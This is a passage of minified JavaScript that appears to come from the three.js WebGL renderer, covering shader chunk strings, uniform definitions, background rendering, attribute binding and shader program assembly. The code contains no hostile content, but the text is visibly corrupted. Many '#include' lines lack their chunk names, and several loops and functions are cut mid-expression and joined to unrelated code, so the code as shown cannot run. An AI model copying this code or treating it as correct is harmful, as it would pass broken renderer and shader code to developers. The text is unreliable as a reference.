vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n\tvec3 totalEmissiveRadiance = emissive;\n\t#ifdef TRANSMISSION\n\t\tfloat totalTransmission = transmission;\n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + reflectedLight.directSpecular + reflectedLight.indirectSpecular + totalEmissiveRadiance;\n\t#ifdef TRANSMISSION\n\t\tdiffuseColor.a *= mix( saturate( 1. - totalTransmission + linearToRelativeLuminance( reflectedLight.directSpecular + reflectedLight.indirectSpecular ) ), 1.0, metalness );\n\t#endif\n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshphysical_vert:"#define STANDARD\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n\t#ifdef USE_TANGENT\n\t\tvarying vec3 vTangent;\n\t\tvarying vec3 vBitangent;\n\t#endif\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n#ifndef FLAT_SHADED\n\tvNormal = normalize( transformedNormal );\n\t#ifdef USE_TANGENT\n\t\tvTangent = normalize( transformedTangent );\n\t\tvBitangent = normalize( cross( vNormal, vTangent ) * tangent.w );\n\t#endif\n#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvViewPosition = - mvPosition.xyz;\n\t#include \n\t#include \n\t#include \n}",normal_frag:"#define NORMAL\nuniform float opacity;\n#if defined( FLAT_SHADED ) || defined( USE_BUMPMAP ) || defined( TANGENTSPACE_NORMALMAP )\n\tvarying vec3 vViewPosition;\n#endif\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n\t#ifdef USE_TANGENT\n\t\tvarying vec3 vTangent;\n\t\tvarying vec3 vBitangent;\n\t#endif\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\tgl_FragColor = vec4( packNormalToRGB( normal ), opacity );\n}",normal_vert:"#define NORMAL\n#if defined( FLAT_SHADED ) || defined( USE_BUMPMAP ) || defined( TANGENTSPACE_NORMALMAP )\n\tvarying vec3 vViewPosition;\n#endif\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n\t#ifdef USE_TANGENT\n\t\tvarying vec3 vTangent;\n\t\tvarying vec3 vBitangent;\n\t#endif\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n#ifndef FLAT_SHADED\n\tvNormal = normalize( transformedNormal );\n\t#ifdef USE_TANGENT\n\t\tvTangent = normalize( transformedTangent );\n\t\tvBitangent = normalize( cross( vNormal, vTangent ) * tangent.w );\n\t#endif\n#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n#if defined( FLAT_SHADED ) || defined( USE_BUMPMAP ) || defined( TANGENTSPACE_NORMALMAP )\n\tvViewPosition = - mvPosition.xyz;\n#endif\n}",points_frag:"uniform vec3 diffuse;\nuniform float opacity;\n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec3 outgoingLight = vec3( 0.0 );\n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\t#include \n\t#include \n\t#include \n\t#include \n\toutgoingLight = diffuseColor.rgb;\n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n}",points_vert:"uniform float size;\nuniform float scale;\n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\tgl_PointSize = size;\n\t#ifdef USE_SIZEATTENUATION\n\t\tbool isPerspective = isPerspectiveMatrix( projectionMatrix );\n\t\tif ( isPerspective ) gl_PointSize *= ( scale / - mvPosition.z );\n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n}",shadow_frag:"uniform vec3 color;\nuniform float opacity;\n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\tgl_FragColor = vec4( color, opacity * ( 1.0 - getShadowMask() ) );\n\t#include \n\t#include \n\t#include \n}",shadow_vert:"#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",sprite_frag:"uniform vec3 diffuse;\nuniform float opacity;\n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec3 outgoingLight = vec3( 0.0 );\n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\t#include \n\t#include \n\t#include \n\t#include \n\toutgoingLight = diffuseColor.rgb;\n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n}",sprite_vert:"uniform float rotation;\nuniform vec2 center;\n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 mvPosition = modelViewMatrix * vec4( 0.0, 0.0, 0.0, 1.0 );\n\tvec2 scale;\n\tscale.x = length( vec3( modelMatrix[ 0 ].x, modelMatrix[ 0 ].y, modelMatrix[ 0 ].z ) );\n\tscale.y = length( vec3( modelMatrix[ 1 ].x, modelMatrix[ 1 ].y, modelMatrix[ 1 ].z ) );\n\t#ifndef USE_SIZEATTENUATION\n\t\tbool isPerspective = isPerspectiveMatrix( projectionMatrix );\n\t\tif ( isPerspective ) scale *= - mvPosition.z;\n\t#endif\n\tvec2 alignedPosition = ( position.xy - ( center - vec2( 0.5 ) ) ) * scale;\n\tvec2 rotatedPosition;\n\trotatedPosition.x = cos( rotation ) * alignedPosition.x - sin( rotation ) * alignedPosition.y;\n\trotatedPosition.y = sin( rotation ) * alignedPosition.x + cos( rotation ) * alignedPosition.y;\n\tmvPosition.xy += rotatedPosition;\n\tgl_Position = projectionMatrix * mvPosition;\n\t#include \n\t#include \n\t#include \n}"},ni={common:{diffuse:{value:new je(15658734)},opacity:{value:1},map:{value:null},uvTransform:{value:new ct},uv2Transform:{value:new ct},alphaMap:{value:null}},specularmap:{specularMap:{value:null}},envmap:{envMap:{value:null},flipEnvMap:{value:-1},reflectivity:{value:1},refractionRatio:{value:.98},maxMipLevel:{value:0}},aomap:{aoMap:{value:null},aoMapIntensity:{value:1}},lightmap:{lightMap:{value:null},lightMapIntensity:{value:1}},emissivemap:{emissiveMap:{value:null}},bumpmap:{bumpMap:{value:null},bumpScale:{value:1}},normalmap:{normalMap:{value:null},normalScale:{value:new lt(1,1)}},displacementmap:{displacementMap:{value:null},displacementScale:{value:1},displacementBias:{value:0}},roughnessmap:{roughnessMap:{value:null}},metalnessmap:{metalnessMap:{value:null}},gradientmap:{gradientMap:{value:null}},fog:{fogDensity:{value:25e-5},fogNear:{value:1},fogFar:{value:2e3},fogColor:{value:new je(16777215)}},lights:{ambientLightColor:{value:[]},lightProbe:{value:[]},directionalLights:{value:[],properties:{direction:{},color:{}}},directionalLightShadows:{value:[],properties:{shadowBias:{},shadowNormalBias:{},shadowRadius:{},shadowMapSize:{}}},directionalShadowMap:{value:[]},directionalShadowMatrix:{value:[]},spotLights:{value:[],properties:{color:{},position:{},direction:{},distance:{},coneCos:{},penumbraCos:{},decay:{}}},spotLightShadows:{value:[],properties:{shadowBias:{},shadowNormalBias:{},shadowRadius:{},shadowMapSize:{}}},spotShadowMap:{value:[]},spotShadowMatrix:{value:[]},pointLights:{value:[],properties:{color:{},position:{},decay:{},distance:{}}},pointLightShadows:{value:[],properties:{shadowBias:{},shadowNormalBias:{},shadowRadius:{},shadowMapSize:{},shadowCameraNear:{},shadowCameraFar:{}}},pointShadowMap:{value:[]},pointShadowMatrix:{value:[]},hemisphereLights:{value:[],properties:{direction:{},skyColor:{},groundColor:{}}},rectAreaLights:{value:[],properties:{color:{},position:{},width:{},height:{}}},ltc_1:{value:null},ltc_2:{value:null}},points:{diffuse:{value:new je(15658734)},opacity:{value:1},size:{value:1},scale:{value:1},map:{value:null},alphaMap:{value:null},uvTransform:{value:new ct}},sprite:{diffuse:{value:new je(15658734)},opacity:{value:1},center:{value:new lt(.5,.5)},rotation:{value:0},map:{value:null},alphaMap:{value:null},uvTransform:{value:new ct}}},ii={basic:{uniforms:Hn([ni.common,ni.specularmap,ni.envmap,ni.aomap,ni.lightmap,ni.fog]),vertexShader:ei.meshbasic_vert,fragmentShader:ei.meshbasic_frag},lambert:{uniforms:Hn([ni.common,ni.specularmap,ni.envmap,ni.aomap,ni.lightmap,ni.emissivemap,ni.fog,ni.lights,{emissive:{value:new je(0)}}]),vertexShader:ei.meshlambert_vert,fragmentShader:ei.meshlambert_frag},phong:{uniforms:Hn([ni.common,ni.specularmap,ni.envmap,ni.aomap,ni.lightmap,ni.emissivemap,ni.bumpmap,ni.normalmap,ni.displacementmap,ni.fog,ni.lights,{emissive:{value:new je(0)},specular:{value:new je(1118481)},shininess:{value:30}}]),vertexShader:ei.meshphong_vert,fragmentShader:ei.meshphong_frag},standard:{uniforms:Hn([ni.common,ni.envmap,ni.aomap,ni.lightmap,ni.emissivemap,ni.bumpmap,ni.normalmap,ni.displacementmap,ni.roughnessmap,ni.metalnessmap,ni.fog,ni.lights,{emissive:{value:new je(0)},roughness:{value:1},metalness:{value:0},envMapIntensity:{value:1}}]),vertexShader:ei.meshphysical_vert,fragmentShader:ei.meshphysical_frag},toon:{uniforms:Hn([ni.common,ni.aomap,ni.lightmap,ni.emissivemap,ni.bumpmap,ni.normalmap,ni.displacementmap,ni.gradientmap,ni.fog,ni.lights,{emissive:{value:new je(0)}}]),vertexShader:ei.meshtoon_vert,fragmentShader:ei.meshtoon_frag},matcap:{uniforms:Hn([ni.common,ni.bumpmap,ni.normalmap,ni.displacementmap,ni.fog,{matcap:{value:null}}]),vertexShader:ei.meshmatcap_vert,fragmentShader:ei.meshmatcap_frag},points:{uniforms:Hn([ni.points,ni.fog]),vertexShader:ei.points_vert,fragmentShader:ei.points_frag},dashed:{uniforms:Hn([ni.common,ni.fog,{scale:{value:1},dashSize:{value:1},totalSize:{value:2}}]),vertexShader:ei.linedashed_vert,fragmentShader:ei.linedashed_frag},depth:{uniforms:Hn([ni.common,ni.displacementmap]),vertexShader:ei.depth_vert,fragmentShader:ei.depth_frag},normal:{uniforms:Hn([ni.common,ni.bumpmap,ni.normalmap,ni.displacementmap,{opacity:{value:1}}]),vertexShader:ei.normal_vert,fragmentShader:ei.normal_frag},sprite:{uniforms:Hn([ni.sprite,ni.fog]),vertexShader:ei.sprite_vert,fragmentShader:ei.sprite_frag},background:{uniforms:{uvTransform:{value:new ct},t2D:{value:null}},vertexShader:ei.background_vert,fragmentShader:ei.background_frag},cube:{uniforms:Hn([ni.envmap,{opacity:{value:1}}]),vertexShader:ei.cube_vert,fragmentShader:ei.cube_frag},equirect:{uniforms:{tEquirect:{value:null}},vertexShader:ei.equirect_vert,fragmentShader:ei.equirect_frag},distanceRGBA:{uniforms:Hn([ni.common,ni.displacementmap,{referencePosition:{value:new xt},nearDistance:{value:1},farDistance:{value:1e3}}]),vertexShader:ei.distanceRGBA_vert,fragmentShader:ei.distanceRGBA_frag},shadow:{uniforms:Hn([ni.lights,ni.fog,{color:{value:new je(0)},opacity:{value:1}}]),vertexShader:ei.shadow_vert,fragmentShader:ei.shadow_frag}};function ri(t,e,n,i,r){const s=new je(0);let a,o,c=0,h=null,u=0,d=null;function p(t,e){n.buffers.color.setClear(t.r,t.g,t.b,e,r)}return{getClearColor:function(){return s},setClearColor:function(t,e=1){s.set(t),c=e,p(s,c)},getClearAlpha:function(){return c},setClearAlpha:function(t){c=t,p(s,c)},render:function(n,r,f,m){let g=!0===r.isScene?r.background:null;g&&g.isTexture&&(g=e.get(g));const v=t.xr,y=v.getSession&&v.getSession();y&&"additive"===y.environmentBlendMode&&(g=null),null===g?p(s,c):g&&g.isColor&&(p(g,1),m=!0),(t.autoClear||m)&&t.clear(t.autoClearColor,t.autoClearDepth,t.autoClearStencil),g&&(g.isCubeTexture||g.mapping===l)?(void 0===o&&(o=new Bn(new zn(1,1,1),new Gn({name:"BackgroundCubeMaterial",uniforms:Fn(ii.cube.uniforms),vertexShader:ii.cube.vertexShader,fragmentShader:ii.cube.fragmentShader,side:1,depthTest:!1,depthWrite:!1,fog:!1})),o.geometry.deleteAttribute("normal"),o.geometry.deleteAttribute("uv"),o.onBeforeRender=function(t,e,n){this.matrixWorld.copyPosition(n.matrixWorld)},Object.defineProperty(o.material,"envMap",{get:function(){return this.uniforms.envMap.value}}),i.update(o)),o.material.uniforms.envMap.value=g,o.material.uniforms.flipEnvMap.value=g.isCubeTexture&&g._needsFlipEnvMap?-1:1,h===g&&u===g.version&&d===t.toneMapping||(o.material.needsUpdate=!0,h=g,u=g.version,d=t.toneMapping),n.unshift(o,o.geometry,o.material,0,0,null)):g&&g.isTexture&&(void 0===a&&(a=new Bn(new ti(2,2),new Gn({name:"BackgroundMaterial",uniforms:Fn(ii.background.uniforms),vertexShader:ii.background.vertexShader,fragmentShader:ii.background.fragmentShader,side:0,depthTest:!1,depthWrite:!1,fog:!1})),a.geometry.deleteAttribute("normal"),Object.defineProperty(a.material,"map",{get:function(){return this.uniforms.t2D.value}}),i.update(a)),a.material.uniforms.t2D.value=g,!0===g.matrixAutoUpdate&&g.updateMatrix(),a.material.uniforms.uvTransform.value.copy(g.matrix),h===g&&u===g.version&&d===t.toneMapping||(a.material.needsUpdate=!0,h=g,u=g.version,d=t.toneMapping),n.unshift(a,a.geometry,a.material,0,0,null))}}}function si(t,e,n,i){const r=t.getParameter(34921),s=i.isWebGL2?null:e.get("OES_vertex_array_object"),a=i.isWebGL2||null!==s,o={},l=d(null);let c=l;function h(e){return i.isWebGL2?t.bindVertexArray(e):s.bindVertexArrayOES(e)}function u(e){return i.isWebGL2?t.deleteVertexArray(e):s.deleteVertexArrayOES(e)}function d(t){const e=[],n=[],i=[];for(let t=0;t=0){const s=l[e];if(void 0!==s){const e=s.normalized,r=s.itemSize,a=n.get(s);if(void 0===a)continue;const l=a.buffer,c=a.type,h=a.bytesPerElement;if(s.isInterleavedBufferAttribute){const n=s.data,a=n.stride,u=s.offset;n&&n.isInstancedInterleavedBuffer?(m(i,n.meshPerAttribute),void 0===o._maxInstanceCount&&(o._maxInstanceCount=n.meshPerAttribute*n.count)):f(i),t.bindBuffer(34962,l),v(i,r,c,e,a*h,u*h)}else s.isInstancedBufferAttribute?(m(i,s.meshPerAttribute),void 0===o._maxInstanceCount&&(o._maxInstanceCount=s.meshPerAttribute*s.count)):f(i),t.bindBuffer(34962,l),v(i,r,c,e,0,0)}else if("instanceMatrix"===e){const e=n.get(r.instanceMatrix);if(void 0===e)continue;const s=e.buffer,a=e.type;m(i+0,1),m(i+1,1),m(i+2,1),m(i+3,1),t.bindBuffer(34962,s),t.vertexAttribPointer(i+0,4,a,!1,64,0),t.vertexAttribPointer(i+1,4,a,!1,64,16),t.vertexAttribPointer(i+2,4,a,!1,64,32),t.vertexAttribPointer(i+3,4,a,!1,64,48)}else if("instanceColor"===e){const e=n.get(r.instanceColor);if(void 0===e)continue;const s=e.buffer,a=e.type;m(i,1),t.bindBuffer(34962,s),t.vertexAttribPointer(i,3,a,!1,12,0)}else if(void 0!==h){const n=h[e];if(void 0!==n)switch(n.length){case 2:t.vertexAttrib2fv(i,n);break;case 3:t.vertexAttrib3fv(i,n);break;case 4:t.vertexAttrib4fv(i,n);break;default:t.vertexAttrib1fv(i,n)}}}}g()}(r,l,u,y),null!==x&&t.bindBuffer(34963,n.get(x).buffer))},reset:y,resetDefaultState:x,dispose:function(){y();for(const t in o){const e=o[t];for(const t in e){const n=e[t];for(const t in n)u(n[t].object),delete n[t];delete e[t]}delete o[t]}},releaseStatesOfGeometry:function(t){if(void 0===o[t.id])return;const e=o[t.id];for(const t in e){const n=e[t];for(const t in n)u(n[t].object),delete n[t];delete e[t]}delete o[t.id]},releaseStatesOfProgram:function(t){for(const e in o){const n=o[e];if(void 0===n[t.id])continue;const i=n[t.id];for(const t in i)u(i[t].object),delete i[t];delete n[t.id]}},initAttributes:p,enableAttribute:f,disableUnusedAttributes:g}}function ai(t,e,n,i){const r=i.isWebGL2;let s;this.setMode=function(t){s=t},this.render=function(e,i){t.drawArrays(s,e,i),n.update(i,s,1)},this.renderInstances=function(i,a,o){if(0===o)return;let l,c;if(r)l=t,c="drawArraysInstanced";else if(l=e.get("ANGLE_instanced_arrays"),c="drawArraysInstancedANGLE",null===l)return void console.error("THREE.WebGLBufferRenderer: using THREE.InstancedBufferGeometry but hardware does not support extension ANGLE_instanced_arrays.");l[c](s,i,a,o),n.update(a,s,o)}}function oi(t,e,n){let i;function r(e){if("highp"===e){if(t.getShaderPrecisionFormat(35633,36338).precision>0&&t.getShaderPrecisionFormat(35632,36338).precision>0)return"highp";e="mediump"}return"mediump"===e&&t.getShaderPrecisionFormat(35633,36337).precision>0&&t.getShaderPrecisionFormat(35632,36337).precision>0?"mediump":"lowp"}const s="undefined"!=typeof WebGL2RenderingContext&&t instanceof WebGL2RenderingContext||"undefined"!=typeof WebGL2ComputeRenderingContext&&t instanceof WebGL2ComputeRenderingContext;let a=void 0!==n.precision?n.precision:"highp";const o=r(a);o!==a&&(console.warn("THREE.WebGLRenderer:",a,"not supported, using",o,"instead."),a=o);const l=!0===n.logarithmicDepthBuffer,c=t.getParameter(34930),h=t.getParameter(35660),u=t.getParameter(3379),d=t.getParameter(34076),p=t.getParameter(34921),f=t.getParameter(36347),m=t.getParameter(36348),g=t.getParameter(36349),v=h>0,y=s||e.has("OES_texture_float");return{isWebGL2:s,getMaxAnisotropy:function(){if(void 0!==i)return i;if(!0===e.has("EXT_texture_filter_anisotropic")){const n=e.get("EXT_texture_filter_anisotropic");i=t.getParameter(n.MAX_TEXTURE_MAX_ANISOTROPY_EXT)}else i=0;return i},getMaxPrecision:r,precision:a,logarithmicDepthBuffer:l,maxTextures:c,maxVertexTextures:h,maxTextureSize:u,maxCubemapSize:d,maxAttributes:p,maxVertexUniforms:f,maxVaryings:m,maxFragmentUniforms:g,vertexTextures:v,floatFragmentTextures:y,floatVertexTextures:v&&y,maxSamples:s?t.getParameter(36183):0}}function li(t){const e=this;let n=null,i=0,r=!1,s=!1;const a=new Te,o=new ct,l={value:null,needsUpdate:!1};function c(){l.value!==n&&(l.value=n,l.needsUpdate=i>0),e.numPlanes=i,e.numIntersection=0}function h(t,n,i,r){const s=null!==t?t.length:0;let c=null;if(0!==s){if(c=l.value,!0!==r||null===c){const e=i+4*s,r=n.matrixWorldInverse;o.getNormalMatrix(r),(null===c||c.length0){const a=t.getRenderTarget(),o=new Xn(s.height/2);return o.fromEquirectangularTexture(t,r),e.set(r,o),t.setRenderTarget(a),r.addEventListener("dispose",i),n(o.texture,r.mapping)}return null}}}return r},dispose:function(){e=new WeakMap}}}function hi(t){const e={};function n(n){if(void 0!==e[n])return e[n];let i;switch(n){case"WEBGL_depth_texture":i=t.getExtension("WEBGL_depth_texture")||t.getExtension("MOZ_WEBGL_depth_texture")||t.getExtension("WEBKIT_WEBGL_depth_texture");break;case"EXT_texture_filter_anisotropic":i=t.getExtension("EXT_texture_filter_anisotropic")||t.getExtension("MOZ_EXT_texture_filter_anisotropic")||t.getExtension("WEBKIT_EXT_texture_filter_anisotropic");break;case"WEBGL_compressed_texture_s3tc":i=t.getExtension("WEBGL_compressed_texture_s3tc")||t.getExtension("MOZ_WEBGL_compressed_texture_s3tc")||t.getExtension("WEBKIT_WEBGL_compressed_texture_s3tc");break;case"WEBGL_compressed_texture_pvrtc":i=t.getExtension("WEBGL_compressed_texture_pvrtc")||t.getExtension("WEBKIT_WEBGL_compressed_texture_pvrtc");break;default:i=t.getExtension(n)}return e[n]=i,i}return{has:function(t){return null!==n(t)},init:function(t){t.isWebGL2?n("EXT_color_buffer_float"):(n("WEBGL_depth_texture"),n("OES_texture_float"),n("OES_texture_half_float"),n("OES_texture_half_float_linear"),n("OES_standard_derivatives"),n("OES_element_index_uint"),n("OES_vertex_array_object"),n("ANGLE_instanced_arrays")),n("OES_texture_float_linear"),n("EXT_color_buffer_half_float")},get:function(t){const e=n(t);return null===e&&console.warn("THREE.WebGLRenderer: "+t+" extension not supported."),e}}}function ui(t,e,n,i){const r={},s=new WeakMap;function a(t){const o=t.target;null!==o.index&&e.remove(o.index);for(const t in o.attributes)e.remove(o.attributes[t]);o.removeEventListener("dispose",a),delete r[o.id];const l=s.get(o);l&&(e.remove(l),s.delete(o)),i.releaseStatesOfGeometry(o),!0===o.isInstancedBufferGeometry&&delete o._maxInstanceCount,n.memory.geometries--}function o(t){const n=[],i=t.index,r=t.attributes.position;let a=0;if(null!==i){const t=i.array;a=i.version;for(let e=0,i=t.length;e65535?nn:tn)(n,1);o.version=a;const l=s.get(t);l&&e.remove(l),s.set(t,o)}return{get:function(t,e){return!0===r[e.id]||(e.addEventListener("dispose",a),r[e.id]=!0,n.memory.geometries++),e},update:function(t){const n=t.attributes;for(const t in n)e.update(n[t],34962);const i=t.morphAttributes;for(const t in i){const n=i[t];for(let t=0,i=n.length;t0)return t;const r=e*n;let s=Si[r];if(void 0===s&&(s=new Float32Array(r),Si[r]=s),0!==e){i.toArray(s,0);for(let i=1,r=0;i!==e;++i)r+=n,t[i].toArray(s,r)}return s}function Ci(t,e){if(t.length!==e.length)return!1;for(let n=0,i=t.length;n/gm;function Ir(t){return t.replace(Dr,Nr)}function Nr(t,e){const n=ei[e];if(void 0===n)throw new Error("Can not resolve #include <"+e+">");return Ir(n)}const Br=/#pragma unroll_loop[\s]+?for \( int i \= (\d+)\; i < (\d+)\; i \+\+ \) \{([\s\S]+?)(?=\})\}/g,Or=/#pragma unroll_loop_start\s+for\s*\(\s*int\s+i\s*=\s*(\d+)\s*;\s*i\s*<\s*(\d+)\s*;\s*i\s*\+\+\s*\)\s*{([\s\S]+?)}\s+#pragma unroll_loop_end/g;function zr(t){return t.replace(Or,Hr).replace(Br,Fr)}function Fr(t,e,n,i){return console.warn("WebGLProgram: #pragma unroll_loop shader syntax is deprecated. Please use #pragma unroll_loop_start syntax instead."),Hr(t,e,n,i)}function Hr(t,e,n,i){let r="";for(let t=parseInt(e);t0?t.gammaFactor:1,v=n.isWebGL2?"":function(t){return[t.extensionDerivatives||t.envMapCubeUV||t.bumpMap||t.tangentSpaceNormalMap||t.clearcoatNormalMap||t.flatShading||"physical"===t.shaderID?"#extension GL_OES_standard_derivatives : enable":"",(t.extensionFragDepth||t.logarithmicDepthBuffer)&&t.rendererExtensionFragDepth?"#extension GL_EXT_frag_depth : enable":"",t.extensionDrawBuffers&&t.rendererExtensionDrawBuffers?"#extension GL_EXT_draw_buffers : require":"",(t.extensionShaderTextureLOD||t.envMap)&&t.rendererExtensionShaderTextureLod?"#extension GL_EXT_shader_texture_lod : enable":""].filter(Rr).join("\n")}(n),y=function(t){const e=[];for(const n in t){const i=t[n];!1!==i&&e.push("#define "+n+" "+i)}return e.join("\n")}(o),x=a.createProgram();let _,b,w=n.glslVersion?"#version "+n.glslVersion+"\n":"";n.isRawShaderMaterial?(_=[y].filter(Rr).join("\n"),_.length>0&&(_+="\n"),b=[v,y].filter(Rr).join("\n"),b.length>0&&(b+="\n")):(_=[Ur(n),"#define SHADER_NAME "+n.shaderName,y,n.instancing?"#define USE_INSTANCING":"",n.instancingColor?"#define USE_INSTANCING_COLOR":"",n.supportsVertexTextures?"#define VERTEX_TEXTURES":"","#define GAMMA_FACTOR "+g,"#define MAX_BONES "+n.maxBones,n.useFog&&n.fog?"#define USE_FOG":"",n.useFog&&n.fogExp2?"#define FOG_EXP2":"",n.map?"#define USE_MAP":"",n.envMap?"#define USE_ENVMAP":"",n.envMap?"#define "+f:"",n.lightMap?"#define USE_LIGHTMAP":"",n.aoMap?"#define USE_AOMAP":"",n.emissiveMap?"#define USE_EMISSIVEMAP":"",n.bumpMap?"#define USE_BUMPMAP":"",n.normalMap?"#define USE_NORMALMAP":"",n.normalMap&&n.objectSpaceNormalMap?"#define OBJECTSPACE_NORMALMAP":"",n.normalMap&&n.tangentSpaceNormalMap?"#define TANGENTSPACE_NORMALMAP":"",n.clearcoatMap?"#define USE_CLEARCOATMAP":"",n.clearcoatRoughnessMap?"#define USE_CLEARCOAT_ROUGHNESSMAP":"",n.clearcoatNormalMap?"#define USE_CLEARCOAT_NORMALMAP":"",n.displacementMap&&n.supportsVertexTextures?"#define USE_DISPLACEMENTMAP":"",n.specularMap?"#define USE_SPECULARMAP":"",n.roughnessMap?"#define USE_ROUGHNESSMAP":"",n.metalnessMap?"#define USE_METALNESSMAP":"",n.alphaMap?"#define USE_ALPHAMAP":"",n.transmissionMap?"#define USE_TRANSMISSIONMAP":"",n.vertexTangents?"#define USE_TANGENT":"",n.vertexColors?"#define USE_COLOR":"",n.vertexAlphas?"#define USE_COLOR_ALPHA":"",n.vertexUvs?"#define USE_UV":"",n.uvsVertexOnly?"#define UVS_VERTEX_ONLY":"",n.flatShading?"#define FLAT_SHADED":"",n.skinning?"#define USE_SKINNING":"",n.useVertexTexture?"#define BONE_TEXTURE":"",n.morphTargets?"#define USE_MORPHTARGETS":"",n.morphNormals&&!1===n.flatShading?"#define USE_MORPHNORMALS":"",n.doubleSided?"#define DOUBLE_SIDED":"",n.flipSided?"#define FLIP_SIDED":"",n.shadowMapEnabled?"#define USE_SHADOWMAP":"",n.shadowMapEnabled?"#define "+d:"",n.sizeAttenuation?"#define USE_SIZEATTENUATION":"",n.logarithmicDepthBuffer?"#define USE_LOGDEPTHBUF":"",n.logarithmicDepthBuffer&&n.rendererExtensionFragDepth?"#define USE_LOGDEPTHBUF_EXT":"","uniform mat4 modelMatrix;","uniform mat4 modelViewMatrix;","uniform mat4 projectionMatrix;","uniform mat4 viewMatrix;","uniform mat3 normalMatrix;","uniform vec3 cameraPosition;","uniform bool isOrthographic;","#ifdef USE_INSTANCING","\tattribute mat4 instanceMatrix;","#endif","#ifdef USE_INSTANCING_COLOR","\tattribute vec3 instanceColor;","#endif","attribute vec3 position;","attribute vec3 normal;","attribute vec2 uv;","#ifdef USE_TANGENT","\tattribute vec4 tangent;","#endif","#if defined( USE_COLOR_ALPHA )","\tattribute vec4 color;","#elif defined( USE_COLOR )","\tattribute vec3 color;","#endif","#ifdef USE_MORPHTARGETS","\tattribute vec3 morphTarget0;","\tattribute vec3 morphTarget1;","\tattribute vec3 morphTarget2;","\tattribute vec3 morphTarget3;","\t#ifdef USE_MORPHNORMALS","\t\tattribute vec3 morphNormal0;","\t\tattribute vec3 morphNormal1;","\t\tattribute vec3 morphNormal2;","\t\tattribute vec3 morphNormal3;","\t#else","\t\tattribute vec3 morphTarget4;","\t\tattribute vec3 morphTarget5;","\t\tattribute vec3 morphTarget6;","\t\tattribute vec3 morphTarget7;","\t#endif","#endif","#ifdef USE_SKINNING","\tattribute vec4 skinIndex;","\tattribute vec4 skinWeight;","#endif","\n"].filter(Rr).join("\n"),b=[v,Ur(n),"#define SHADER_NAME "+n.shaderName,y,n.alphaTest?"#define ALPHATEST "+n.alphaTest+(n.alphaTest%1?"":".0"):"","#define GAMMA_FACTOR "+g,n.useFog&&n.fog?"#define USE_FOG":"",n.useFog&&n.fogExp2?"#define FOG_EXP2":"",n.map?"#define USE_MAP":"",n.matcap?"#define USE_MATCAP":"",n.envMap?"#define USE_ENVMAP":"",n.envMap?"#define "+p:"",n.envMap?"#define "+f:"",n.envMap?"#define "+m:"",n.lightMap?"#define USE_LIGHTMAP":"",n.aoMap?"#define USE_AOMAP":"",n.emissiveMap?"#define USE_EMISSIVEMAP":"",n.bumpMap?"#define USE_BUMPMAP":"",n.normalMap?"#define USE_NORMALMAP":"",n.normalMap&&n.objectSpaceNormalMap?"#define OBJECTSPACE_NORMALMAP":"",n.normalMap&&n.tangentSpaceNormalMap?"#define TANGENTSPACE_NORMALMAP":"",n.clearcoatMap?"#define USE_CLEARCOATMAP":"",n.clearcoatRoughnessMap?"#define USE_CLEARCOAT_ROUGHNESSMAP":"",n.clearcoatNormalMap?"#define USE_CLEARCOAT_NORMALMAP":"",n.specularMap?"#define USE_SPECULARMAP":"",n.roughnessMap?"#define USE_ROUGHNESSMAP":"",n.metalnessMap?"#define USE_METALNESSMAP":"",n.alphaMap?"#define USE_ALPHAMAP":"",n.sheen?"#define USE_SHEEN":"",n.transmissionMap?"#define USE_TRANSMISSIONMAP":"",n.vertexTangents?"#define USE_TANGENT":"",n.vertexColors||n.instancingColor?"#define USE_COLOR":"",n.vertexAlphas?"#define USE_COLOR_ALPHA":"",n.vertexUvs?"#define USE_UV":"",n.uvsVertexOnly?"#define UVS_VERTEX_ONLY":"",n.gradientMap?"#define USE_GRADIENTMAP":"",n.flatShading?"#define FLAT_SHADED":"",n.doubleSided?"#define DOUBLE_SIDED":"",n.flipSided?"#define FLIP_SIDED":"",n.shadowMapEnabled?"#define USE_SHADOWMAP":"",n.shadowMapEnabled?"#define "+d:"",n.premultipliedAlpha?"#define PREMULTIPLIED_ALPHA":"",n.physicallyCorrectLights?"#define PHYSICALLY_CORRECT_LIGHTS":"",n.logarithmicDepthBuffer?"#define USE_LOGDEPTHBUF":"",n.logarithmicDepthBuffer&&n.rendererExtensionFragDepth?"#define USE_LOGDEPTHBUF_EXT":"",(n.extensionShaderTextureLOD||n.envMap)&&n.rendererExtensionShaderTextureLod?"#define 